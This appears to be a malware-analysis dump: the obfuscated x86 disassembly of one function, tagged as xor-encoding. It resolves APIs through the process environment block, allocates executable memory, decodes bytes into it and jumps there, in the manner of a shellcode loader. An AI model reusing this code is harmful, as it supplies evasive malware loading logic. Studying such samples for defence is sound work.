Function at 0x488b20
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x7cfe82f0
mov ecx, 0x83017d0c
xor eax, ecx
add esp, eax
xor eax, eax
add eax, esp
mov ecx, eax
xchg ecx, edx
mov dword [edx], ebx
mov eax, 0x5b75205c
add eax, 0xa48adfa4
xor eax, edi
mov ecx, 0x40c356d3
mov ebx, 0x40c356d7
xor ebx, ecx
sub esp, ebx
mov dword [esp], eax
mov edi, 0x12b85750
xor edi, 0x12b85750
xor edi, esi
mov edx, edi
mov eax, edx
mov ebx, 4
sub esp, ebx
mov dword [esp], eax
push 0x16017e0e
mov esi, 0x65292ac3
pop eax
xor esi, eax
push esi
mov edx, 0x7401d898
xor edx, 0x3d0ba881
mov ebx, 0x2a1de4bc
add edx, ebx
mov ebx, esp
dec ebx
mov edi, dword [ebx + 1]
mov ebx, 0xfffffffc
sub esp, ebx
xor edx, edi
mov esi, dword fs:[edx]
mov edi, 0x1372c9c1
xor edi, 0x38e1c051
mov edx, 0x46dc5eef
mov eax, 0x92b0a8af
xor eax, edx
xor edi, eax
sub esi, edi
sub esp, 4
mov eax, esp
mov dword [eax], esi
mov edi, dword [esp]
sub esp, 0xfffffffc
mov ecx, 0x669035c8
mov eax, 0x996fca37
xor ecx, eax
add edi, ecx
mov ebx, dword [edi + 1]
mov eax, 0xb1f1be2
add eax, 0x2cff48fd
push 0x26b39f56
mov edx, 0x1eadfb85
pop ecx
xor edx, ecx
xor edx, eax
add ebx, edx
mov ecx, dword [ebx]
push 0x2e88d33a
mov eax, 0x6a04d693
pop ebx
xor eax, ebx
push eax
mov eax, 0x6b60f4d4
mov edi, 0x2fecf171
xor edi, eax
mov esi, dword [esp]
sub esp, 0xfffffffc
xor edi, esi
add ecx, edi
mov edx, 0x6d41ed8c
mov esi, 0x6d41ed88
xor esi, edx
sub esp, esi
sub edi, edi
add edi, esp
mov dword [edi], ecx
pop ebx
mov edx, ebx
mov ecx, edx
mov edx, ecx
mov edi, edx
mov esi, 4
mov edx, 0
xor esi, edx
sub esp, esi
mov dword [esp], edi
xor edx, edx
add edx, ebx
mov ecx, 0x19bab044
xor ecx, 0x19bab045
sub edx, ecx
mov eax, dword [edx + 1]
mov edi, eax
mov ecx, 0x63d51d14
mov edx, 0x63d51d72
xor edx, ecx
sub edi, edx
mov ecx, 0x262c4a21
add ecx, 0xd9d3b5e0
sub edi, ecx
mov ebx, dword [edi + 0x67]
mov eax, 0x3d0bca63
add eax, 0xe0004125
mov ecx, 0x1d0c0bb4
sub eax, ecx
sub ebx, eax
mov edi, dword [ebx]
and edi, 0xffff
push 0x5db7b5ad
mov ecx, 0x1fa06297
pop edx
xor ecx, edx
push ecx
mov esi, 0x35647efe
xor esi, 0x5297517
mov eax, dword [esp]
add esp, 4
xor esi, eax
xor edi, esi
push 0x2c0d138c
mov edx, 0x6c82f555
pop eax
xor edx, eax
xor edi, edx
mov eax, edi
xor eax, 0xffffffff
and eax, 0x32d53a12
and edi, 0xcd2ac5ed
or edi, eax
mov edx, 0x44400101
mov esi, 0x101854ac
xor edx, esi
push edx
push 0x17a565d2
mov ecx, 0x43fd307f
pop edx
xor ecx, edx
pop eax
xor ecx, eax
xor ecx, edi
xor ecx, 0
jne 0x488f98
mov edx, 0x18a01b0
mov edi, 0x52314000
xor edx, edi
mov esi, 0x22a5433d
xor esi, 0x8ee1fd71
xor edx, esi
sub ebx, edx
mov ecx, ebx
mov edx, 0x638bcbbd
add edx, 0x9c743444
sub ecx, edx
mov esi, dword [ecx + 1]
push esi
pop eax
xchg edi, eax
push edi
pop eax
mov ebx, eax
push ebx
xor edi, edi
add edi, esi
push 0x4cda68ef
mov ecx, 0x4cda68ee
pop ebx
xor ecx, ebx
sub edi, ecx
mov eax, dword [edi + 1]
and eax, 0xff
xor eax, 0x6b
add esp, 0xfffffffe
add esp, 0xfffffffe
push esp
pop ebx
mov dword [ebx], eax
mov edi, esp
dec edi
mov edx, dword [edi + 1]
mov ecx, 4
add esp, ecx
or edx, 0
je 0x488dd7
push 0x250d14b
mov ebx, 0x4c63bb3b
pop esi
xor ebx, esi
mov edi, 0x4a010800
mov ecx, 0x4326250
xor edi, ecx
xor edi, ebx
xor eax, edi
xor edx, edx
add edx, eax
or edx, eax
jne 0x488f85
mov edx, esp
mov esi, 1
sub edx, esi
mov ebx, dword [edx + 1]
mov edx, 0
mov esi, 4
xor edx, esi
add esp, edx
push 0x1d702348
mov esi, 0x1c95b6d6
pop edi
xor esi, edi
push esi
push 0xb3723b7
mov ecx, 0xad2b62f
pop eax
xor ecx, eax
mov edx, dword [esp]
sub esp, 0xfffffffc
xor ecx, edx
add ebx, ecx
push ebx
pop ecx
mov edi, 0
xor edi, ecx
mov edx, 0x6b0625cd
mov ecx, 0x94f9da31
xor ecx, edx
add esp, ecx
mov dword [esp], edi
sub ecx, ecx
add ecx, ebx
add ecx, 0xfffffff2
add ecx, 0xffffffea
mov esi, 0x27
sub ecx, esi
mov eax, 0x6982a911
xor eax, 0x967d56ee
add ecx, eax
mov edx, dword [ecx + 0x4c]
and edx, 0xff
mov ebx, edx
sub esp, 4
mov dword [esp], ebx
pop esi
push 0xba45c597
mov edi, 0x45ba3a68
pop ebx
xor edi, ebx
xor esi, edi
and esi, 0x4e
and edx, 0xffffffb1
or edx, esi
mov ebx, 0x699e5c59
mov edi, 0x699e5c59
xor edi, ebx
xor edi, edx
xchg eax, edi
and eax, 0xffffffff
je 0x488eed
mov edi, 0x1b81e3d1
xor edi, 0x640095f7
mov eax, 0x4814203a
xor edi, eax
xor edi, 0x72f7ffff
xor edx, edi
mov eax, edx
xchg esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xffffffff
and esi, 0
or esi, eax
and esi, 0x4562a9c3
and edx, 0xba9d563c
or edx, esi
cmp edx, 0
jne 0x488f85
mov eax, esp
mov ecx, eax
mov ebx, 0xfffffffb
add ecx, ebx
mov edi, dword [ecx + 5]
add esp, 2
add esp, 1
mov eax, 0xffffffff
sub esp, eax
mov esi, 0x38746a57
xor esi, 0x38746a51
mov ecx, 0x15e463ed
mov ebx, 0x15e463ed
xor ebx, ecx
xor esi, ebx
add edi, esi
mov ebx, edi
mov edx, 0xfe0ee85
mov ecx, 0xf01f117a
xor ecx, edx
add ebx, ecx
mov eax, dword [ebx + 1]
push 0x2a088e39
mov ebx, 0x432fdf3d
pop ecx
xor ebx, ecx
push ebx
mov esi, 0x68010112
mov ebx, 0x1145025
xor esi, ebx
pop edx
xor esi, edx
xor eax, esi
mov ebx, 0x333f606b
mov ecx, 0x44a18ee0
xor ecx, ebx
mov ebx, 0x779eee8b
sub ecx, ebx
xor ecx, eax
or ecx, eax
je 0x488fcb
jmp 0x488f98
mov eax, dword [esp]
mov esi, 0x2b4627bc
mov edi, 0xd4b9d840
xor esi, edi
sub esp, esi
pop edi
xor ecx, ecx
add ecx, edi
xchg ecx, ebx
push 0xf26f0b2b
mov edx, 0xd90f49e
pop ecx
xor edx, ecx
add ebx, edx
mov eax, dword [ebx + 0x4b]
mov esi, eax
push esi
mov ecx, dword [esp]
add esp, 4
mov edx, ecx
mov ebx, edx
mov edx, ebx
sub esp, 4
mov dword [esp], edx
jmp 0x488c41
pop edi
mov ebx, 0x18e090ad
mov ecx, 0x18e090ad
xor ecx, ebx
xor ecx, edi
mov edx, 0x4a759a1f
add edx, 0xb58a6624
sub ecx, edx
mov eax, dword [ecx + 0x43]
sub ecx, ecx
add ecx, eax
mov edx, 0x33337251
xor edx, 0x3333720e
sub ecx, edx
mov ebx, dword [ecx + 0x5f]
mov ecx, 0x7af51fdc
add ecx, 0x92338a22
mov edx, 0xd28a9e6
sub ecx, edx
add ebx, ecx
mov esi, ebx
sub esp, 4
mov dword [esp], esi
mov edx, dword [esp]
add esp, 4
mov esi, 0x1f423b42
mov ecx, 0xe0bdc4bd
xor ecx, esi
add edx, ecx
mov eax, dword [edx + 1]
mov esi, 0x6d226943
xor esi, 0x6d226947
sub esp, esi
mov ecx, esp
push ecx
mov ebx, dword [esp]
add esp, 4
mov dword [ebx], eax
mov edx, 0x5c0cd9a4
xor edx, 0x3c62d2a1
mov esi, 0x606e0b05
sub edx, esi
xor edx, eax
mov ebx, 0x4c022604
mov ecx, 0x400841
xor ebx, ecx
mov eax, 0x4c422e79
xor ebx, eax
add edx, ebx
mov ebx, edx
mov ecx, 0x167bd988
mov esi, 0xe9842620
xor ecx, esi
add ebx, ecx
mov edi, dword [ebx + 0x58]
mov eax, dword [esp]
add edi, eax
mov esi, 0x5491ddb3
add esi, 0x1615fb9
push 0x625816f0
mov edx, 0x37ab2be4
pop ecx
xor edx, ecx
xor edx, esi
add edi, edx
sub eax, eax
add eax, edi
push 0x4b9201e3
mov ebx, 0x4b9201b8
pop esi
xor ebx, esi
sub eax, ebx
mov edi, dword [eax + 0x5b]
mov esi, esp
xchg esi, ebx
mov eax, 0x4270fb15
add eax, 0xbd8f04ec
sub ebx, eax
mov edx, dword [ebx + 1]
add edi, edx
mov ecx, 0x33b28b47
mov eax, 0x2e8d7545
xor eax, ecx
add eax, 0xed61df64
add eax, 0xf55e227a
sub edi, eax
mov ebx, 0x9d698ff5
add ebx, 0xf8
push ebx
mov eax, 0x8449040
mov edx, 0x2601000f
xor eax, edx
mov ebx, 0x4cd3ff5e
xor eax, ebx
mov esi, dword [esp]
mov ebx, 4
add esp, ebx
xor eax, esi
add eax, edi
mov ebx, eax
push 0x558dc9cb
mov ecx, 0x558dc994
pop edx
xor ecx, edx
add ebx, ecx
mov ecx, 0x4bd4d6ec
xor ecx, 0x4bd4d6ed
sub ebx, ecx
mov eax, dword [ebx - 0x5e]
mov esi, esp
sub esp, 4
mov dword [esp], esi
mov ecx, dword [esp]
sub esp, 0xfffffffc
push 0x6ccb27ea
mov edx, 0x6ccb279f
pop esi
xor edx, esi
add ecx, edx
mov esi, 0x30a3754c
mov edx, 0xcf5c8ab3
xor edx, esi
add ecx, edx
mov ebx, dword [ecx - 0x74]
add eax, ebx
mov ecx, 0x7bfb07e5
add ecx, 0x8404f81f
sub esp, ecx
mov ecx, esp
push ecx
mov ebx, dword [esp]
sub esp, 0xfffffffc
mov dword [ebx], eax
mov ecx, 0x26606455
mov edx, 0x409f8808
xor ecx, edx
push 0x140021cc
mov ebx, 0x41a840c1
pop eax
xor ebx, eax
xor ebx, ecx
push 0xd5efdc1
mov ecx, 0x3e09708d
pop edx
xor ecx, edx
sub ebx, ecx
add ebx, edi
mov edx, ebx
mov eax, edx
xchg eax, esi
mov edx, 0x48
mov eax, 0
xor edx, eax
sub esi, edx
mov ebx, dword [esi + 0x48]
mov eax, dword [esp + 4]
add ebx, eax
push 0x6edc11f6
mov edx, 0x6edc11f2
pop esi
xor edx, esi
sub esp, edx
sub eax, eax
add eax, esp
mov dword [eax], ebx
mov edx, edi
xchg ebx, edx
mov edx, ebx
mov ecx, edx
mov esi, 0x20
mov edx, 0xa
xor esi, edx
sub ecx, esi
mov edx, 1
mov eax, 0
xor edx, eax
sub ecx, edx
mov edi, dword [ecx + 0x2b]
mov ebx, dword [esp + 8]
add edi, ebx
mov esi, 0
xor esi, edi
mov edx, 0
xor edx, esi
mov eax, 0x3429861d
mov ecx, 0x34298623
xor ecx, eax
add edx, ecx
mov ebx, dword [edx - 0x3e]
mov edx, dword [esp + 8]
add ebx, edx
mov edx, 0x794ed81d
mov ecx, 0x48086c0d
xor ecx, edx
mov esi, 0xceb94bf5
add ecx, esi
add ebx, ecx
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], ebx
pop esi
mov ecx, 0x1ac3f691
add ecx, 0xe53c0969
sub esi, ecx
mov ebx, dword [esi - 6]
mov edx, 0x68242522
mov esi, 0x20ac080
xor edx, esi
push edx
mov eax, 0x65a342f0
add eax, 0xc6ff241d
pop ecx
xor eax, ecx
xor ebx, eax
push 0x5a84c05
mov ecx, 0x8b70b81
pop edx
xor ecx, edx
xor ebx, ecx
mov edx, 0x2fd2a644
xor ebx, edx
test ebx, ebx
je 0x489328
mov esi, 0x72776a7
xor esi, 0x72776a5
add edi, esi
mov eax, 0x7accc863
mov ecx, 0x7accc861
xor ecx, eax
add edi, ecx
xor eax, eax
add eax, esp
mov esi, 0x43
sub eax, esi
mov ebx, dword [eax + 0x43]
mov eax, 0
mov edx, 4
xor eax, edx
add esp, eax
mov esi, 0x27d85ad0
mov edx, 0x7285fa44
xor edx, esi
mov ecx, 0x554192b0
xor ecx, 0xffe3cdda
xor ecx, edx
sub ebx, ecx
mov esi, 0x547eaa55
mov ecx, 0x547eaa51
xor ecx, esi
sub esp, ecx
mov eax, esp
mov dword [eax], ebx
jmp 0x489224
pop ebx
mov ecx, 0x29a70c82
add ecx, 0xd658f37e
xor ecx, ebx
push 0x6fecf499
mov edx, 0x6fecf4de
pop esi
xor edx, esi
sub ecx, edx
mov ebx, dword [ecx + 0x47]
and ebx, 0xffff
add ebx, ebx
mov eax, 0x2d899d45
xor eax, 0x2d899d45
xor eax, ebx
xchg eax, edx
add ebx, edx
pop ecx
add ecx, ebx
xor edi, edi
add edi, ecx
mov eax, 0x25c2fc89
mov ebx, 0xda3d0346
xor eax, ebx
sub edi, eax
mov ecx, dword [edi - 0x31]
mov eax, dword [esp]
mov edi, 0x1aff2820
mov ebx, 0xe500d7dc
xor edi, ebx
sub esp, edi
add ecx, eax
push ecx
pop edi
xchg edi, esi
mov edi, 0x6081818b
add edi, 0x9f7e7e71
add esp, edi
mov dword [esp], esi
mov ebx, 0x8da3f393
add ebx, 0x6d
push ebx
mov edx, 0x39ecd8b8
xor edx, 0x7895aad9
push edx
push 0x9ccd86d
mov esi, 0x7baeb121
pop edx
xor esi, edx
push esi
mov ebx, 0x64616ed1
add ebx, 0x7b
push ebx
mov esi, 0
xor esi, esp
push esi
pop edx
push 0x361630e
mov ebx, 0x361630a
pop esi
xor ebx, esi
sub esp, ebx
mov dword [esp], edx
mov esi, eax
push esi
pop edx
push edx
pop esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], esi
call ecx
mov ebx, 0x1ae4951b
add ebx, 0x22773d1
add ebx, 0xfcbfd24c
add ebx, 0xe63424b8
sub esp, ebx
mov edx, 0x7c654398
xor edx, 0x839abc64
add esp, edx
xor ecx, ecx
add ecx, esp
mov dword [ecx], eax
call fcn.004898ff
push 0xb7232e1c
mov esi, 0x160d4b50
pop edi
xor esi, edi
push esi
mov ebx, 0x50c01030
mov esi, 0xe118a82
xor ebx, esi
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor ebx, ecx
sub edx, ebx
mov esi, 0x6499e062
xor esi, 0x6499e062
xor esi, edx
mov edi, esi
mov ecx, edi
mov edi, 4
sub esp, edi
mov dword [esp], ecx
mov esi, 0x14ef4ed1
xor esi, 0x83a848d1
add esp, 0xfffffffc
mov dword [esp], esi
mov edx, 0x636f6c5b
add edx, 0x11
push edx
mov ecx, 0x402c0134
mov eax, 0x1406041
xor ecx, eax
push ecx
mov eax, 0x74304912
mov ebx, 0x422044
xor eax, ebx
push eax
mov ebx, 0xa36a95a
add ebx, 0xa6
push ebx
mov ebx, 0x4649aa27
xor ebx, 0x747ac642
add esp, 0xfffffffc
mov dword [esp], ebx
mov ebx, 0x13ffffe8
xor ebx, 0x7d8d9aa3
push ebx
mov edi, dword [esp + 0x20]
sub ecx, ecx
add ecx, esp
mov edx, 4
sub esp, edx
mov esi, esp
xchg esi, eax
mov dword [eax], ecx
call edi
mov edx, 0x2e0054c5
mov ecx, 0x25481f1d
xor ecx, edx
mov ebx, 0x777ce283
add ebx, 0x7d3ad1a9
xor ebx, ecx
sub esp, ebx
mov esi, esp
mov ecx, 0x35ed1954
mov edx, 0xca12e6a8
xor ecx, edx
add esp, ecx
mov dword [esp], esi
xor ecx, ecx
add ecx, eax
mov ebx, 4
sub esp, ebx
mov edi, esp
mov dword [edi], ecx
mov ecx, dword [esp + 0x20]
call ecx
mov edx, 0xa8d413a7
add edx, 0x61
push edx
mov ecx, 0xb127680
add ecx, 0x4c197578
pop ebx
xor ecx, ebx
sub esp, ecx
mov ebx, 0xffffff44
add ebx, 0xfc
push ebx
mov edi, 0x1000
mov ebx, 0
xor edi, ebx
push edi
mov ebx, 0x1013c
add ebx, 0xaa
push ebx
mov ecx, 0xffffffc7
add ecx, 0x39
push ecx
call eax
mov ebx, dword [esp]
push 0x25bbaa
mov ecx, 0x25bbae
pop edx
xor ecx, edx
add esp, ecx
sub edx, edx
add edx, eax
xchg ecx, edx
xor edx, edx
add edx, ecx
xchg edi, edx
mov edx, 0x78e5fcbf
add edx, 0x871a033d
add esp, edx
mov dword [esp], edi
sub esp, 4
mov edx, esp
mov dword [edx], ebx
pop edi
mov edx, edi
xchg eax, edx
sub esp, 4
mov edx, esp
mov dword [edx], eax
push 0x68d69d06
mov eax, 0x381a8b4
pop esi
xor eax, esi
mov edx, 0x1428c2b2
mov edi, 0x80800800
xor edx, edi
xor edx, eax
sub ebx, edx
mov edx, 0x1014c
mov esi, 0x90
xor edx, esi
push edx
mov al, byte [ebx]
mov byte [ecx], al
mov eax, 0x1b37dac6
xor eax, 0x5f0e9da5
push 0x8589b825
mov edx, 0x3e4f00b9
pop esi
xor edx, esi
xor eax, edx
sub ebx, eax
mov esi, 0x580a20dc
xor esi, 0xfa07d1d9
add esp, 0xfffffffc
mov dword [esp], esi
mov edx, 0x7038f7da
add edx, 0xedb91720
pop eax
xor edx, eax
sub ecx, edx
pop edx
push 0x1ab29eb6
mov edi, 0x2766575f
pop esi
xor edi, esi
mov esi, 0x3dd4c9ea
sub edi, esi
add edx, edi
mov esi, edx
sub esp, 4
mov dword [esp], esi
mov eax, dword [esp]
add esp, 4
push eax
pop esi
mov edi, 4
sub esp, edi
mov dword [esp], esi
sub esi, esi
add esi, edx
or esi, 0
jne 0x489607
mov esi, esp
mov edi, 0xffffffe0
add esi, edi
add esi, 0xffffffff
mov eax, dword [esi + 0x21]
mov esi, 4
mov edx, 0
xor esi, edx
add esp, esi
mov eax, 0x7df5cb6f
add eax, 0xbe30db05
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x683e9835
and eax, 0x97c167ca
or eax, ecx
add eax, 0xfc3f49af
add eax, 0xea9c0177
mov edi, 0xc50d7875
add eax, edi
pop ebx
mov edx, esp
mov esi, 0xfffffff4
add edx, esi
mov ecx, dword [edx + 0xc]
mov edx, 0x2573c8c
add edx, 0xfda8c370
sub esp, edx
push 0x498389ec
mov esi, 0x4983299a
pop edx
xor esi, edx
add ecx, esi
mov edx, 0x5d397ef6
mov edi, 0x5d391f93
xor edi, edx
add ecx, edi
mov esi, 0x546ade9d
add esi, 0xab952167
sub esp, esi
xor edx, edx
add edx, esp
mov dword [edx], eax
mov esi, 0
xor esi, ebx
mov edi, esi
xchg edx, edi
mov edi, edx
mov esi, edi
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], esi
mov esi, 0
xor esi, ecx
xchg edx, esi
push 0xa0d75ccb
mov esi, 0x5f28a337
pop edi
xor esi, edi
add esp, esi
mov dword [esp], edx
xor eax, eax
mov al, byte [ecx]
add ebx, eax
mov al, byte [ebx]
pop ecx
pop ebx
mov byte [ecx], al
mov esi, 0x4ed40908
xor esi, 0x55c6fb02
mov edi, 0xe90475
mov edx, 0xe4040980
xor edi, edx
xor esi, edi
add ecx, esi
mov eax, dword [esp]
mov edx, 0x18168ca1
add edx, 0xe7e97363
add esp, edx
mov edi, 0x4e5b0e46
xor edi, 0xf70ecdb1
push edi
mov edi, 0x5a68aa38
mov edx, 0x1cc29630
xor edx, edi
pop esi
xor edx, esi
add eax, edx
xor edi, edi
add edi, eax
sub edi, 0
jne 0x489719
mov edx, 0x1cb7e5e5
xor edx, 0x71ae3ebf
mov esi, 0x754c9f5c
xor esi, 0xe7aabbf9
xor edx, esi
sub ecx, edx
mov ebx, 0
add esp, ebx
add esp, 0xfffffffe
add esp, 0xfffffffe
mov esi, esp
push esi
mov edx, dword [esp]
sub esp, 0xfffffffc
mov dword [edx], ecx
pop eax
call eax
mov ecx, 0x758d1d4
xor ecx, 0x471191cb
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x34c7b684
mov edx, 0x549ee06c
xor edx, ecx
mov ecx, esp
dec ecx
mov eax, dword [ecx + 1]
add esp, 2
add esp, 2
xor edx, eax
push esp
pop eax
mov ecx, 0xffffff9f
add eax, ecx
mov esi, dword [eax + 0x61]
mov ecx, 0x518aa596
add ecx, 0xae755a66
sub esp, ecx
mov eax, 0x43400800
mov edx, 0x4d02e
xor eax, edx
mov ecx, 0x7750c10a
add ecx, 0x954741b7
xor eax, ecx
mov ecx, 0x5282feb5
add ecx, 0xe5cbba46
sub eax, ecx
pop edi
mov edx, 0x1297e460
xor edx, 0x372277e2
push edx
push 0x372c187d
mov eax, 0x229dbb9b
pop edx
xor eax, edx
add eax, 0x4c8cd71b
add eax, 0x46307b0
mov ecx, dword [esp]
mov edx, 0xfffffffc
sub esp, edx
xor eax, ecx
push esp
pop eax
mov edx, 1
sub eax, edx
mov ebx, dword [eax + 1]
mov eax, 0x75f08695
add eax, 0x8a0f7967
sub esp, eax
ret